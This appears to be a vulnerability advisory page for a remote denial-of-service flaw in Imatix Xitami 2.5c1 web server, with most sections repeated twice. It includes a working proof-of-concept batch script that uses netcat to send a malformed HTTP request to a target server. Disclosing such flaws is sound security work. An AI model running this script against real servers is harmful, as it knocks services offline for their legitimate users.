Imatix Xitami Malformed Header Remote Denial of Service Vulnerability
BID:10785
Info
Imatix Xitami Malformed Header Remote Denial of Service Vulnerability
| Bugtraq ID: | 10785 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 22 2004 12:00AM |
| Updated: | Jul 22 2004 12:00AM |
| Credit: | Discovery is credited to CoolICE <[email protected]>. |
| Vulnerable: |
Imatix Xitami 2.5 c1 |
| Not Vulnerable: | |
Discussion
Imatix Xitami Malformed Header Remote Denial of Service Vulnerability
A vulnerability is identified in the handling of certain types of requests by Xitami. Because of this, it is possible for a remote attacker to deny service to legitimate users of a vulnerable server.
Xitami 2.5c1 is reported prone to this issue, however, other versions may be affected as well.
A vulnerability is identified in the handling of certain types of requests by Xitami. Because of this, it is possible for a remote attacker to deny service to legitimate users of a vulnerable server.
Xitami 2.5c1 is reported prone to this issue, however, other versions may be affected as well.
Exploit / POC
Imatix Xitami Malformed Header Remote Denial of Service Vulnerability
The following proof of concept is available:
if '%1'=='' echo Usage:%0 target [port]&&goto :eof
set PORT=80
if not '%2'=='' set PORT=%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp
The following proof of concept is available:
if '%1'=='' echo Usage:%0 target [port]&&goto :eof
set PORT=80
if not '%2'=='' set PORT=%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp
Solution / Fix
Imatix Xitami Malformed Header Remote Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Imatix Xitami Malformed Header Remote Denial of Service Vulnerability
References:
References:
- Xitami Homepage (iMatix)